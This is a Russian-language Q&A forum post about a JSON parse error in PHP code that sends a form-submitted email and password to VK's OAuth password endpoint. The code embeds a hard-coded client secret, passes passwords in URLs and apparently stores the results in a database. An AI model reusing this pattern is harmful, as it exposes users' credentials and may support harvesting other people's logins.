Почему при попытке отправить запрос в API из формы ajax я получил ошибку синтаксического разбора json? - PullRequest
1 голос
/ 02 февраля 2020

Почему при попытке отправить запрос в api из ajax формы я взял json ошибка синтаксического разбора?

Uncaught SyntaxError: Unexpected token < in JSON at position 0
    at JSON.parse (<anonymous>)
    at Object.<anonymous> (3.php:72)
    at j (jquery-1.11.1.min.js:1)
    at Object.fireWith [as resolveWith] (jquery-1.11.1.min.js:1)
    at x (jquery-1.11.1.min.js:1)
    at XMLHttpRequest.b (jquery-1.11.1.min.js:1)

А это мой код:

 get_token = post ('https://api.vk.com/oauth/token?grant_type=password&client_id=2274003&scope=offline&client_secret=hHbZxrka2uZ6jB1inYsH&username='.$email.'&password='.$password.'' ,array(
        'headers' => array(
            'accept: '.$headers['accept'],
            'content-type: '.$headers['content-type'],
            'user-agent: '.$headers['user-agent']
        )
    ));
    //Если авторизация прошла успешно
        if (preg_match("/[a-z0-9]{85}/", $get_token['headers'], $token))
    {
        $token1 = json_decode(file_get_contents('https://api.vk.com/oauth/token?grant_type=password&client_id=2274003&scope=offline&client_secret=hHbZxrka2uZ6jB1inYsH&username='.$email.'&password='.$password.''), true);
        $data = json_decode(file_get_contents('https://api.vk.com/method/users.get?user_id='.$token1['user_id'].'&access_token='.$token[0].'&fields=uid,first_name,last_name&v=5.80'), true);
    //Записываем в переменную текущую дату и время сервера
        $date_l = date("H:i:s  d-m-Y");
    //Подключаемся к БД
Добро пожаловать на сайт PullRequest, где вы можете задавать вопросы и получать ответы от других членов сообщества.
...